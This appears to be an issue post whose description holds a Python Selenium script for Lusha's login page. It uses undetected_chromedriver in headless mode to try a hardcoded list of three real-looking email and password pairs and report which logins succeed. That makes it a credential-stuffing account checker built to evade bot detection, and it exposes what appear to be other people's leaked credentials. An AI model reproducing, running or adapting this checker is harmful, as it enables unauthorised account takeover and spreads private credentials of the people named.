Closed
Description
import undetected_chromedriver.v2 as uc
from selenium.webdriver.common.by import By
import timeWebsite URL
login_url = "https://auth.lusha.com/login"
Define the accounts directly in the script
accounts = [
("leads@pamelamaalouf.it", "P@mel@200"),
("arpit@intervue.io", "Coolarpit@1"),
("stepan@dolejsiconsulting.cz", "583Heslo")
]Function to perform login check
def login_check(username, password):
options = uc.ChromeOptions()
options.add_argument("--headless") # Run headless for no browser UI
driver = uc.Chrome(options=options)# Open the login page driver.get(login_url) time.sleep(2) # Wait for the page to load # Find username and password fields username_field = driver.find_element(By.NAME, "email") password_field = driver.find_element(By.NAME, "password") # Enter credentials username_field.send_keys(username) password_field.send_keys(password) # Click login button login_button = driver.find_element(By.XPATH, "//button[@type='submit']") login_button.click() # Wait for the login attempt to complete time.sleep(5) # Check if login was successful (example: by checking URL or page content) if "dashboard" in driver.current_url or "dashboard" in driver.page_source: print(f"[+] Login successful for {username}") else: print(f"[-] Login failed for {username}") # Close the browser driver.quit()
Main function to run login checks for all accounts
def check_all_accounts():
for username, password in accounts:
login_check(username, password)Run the function
check_all_accounts()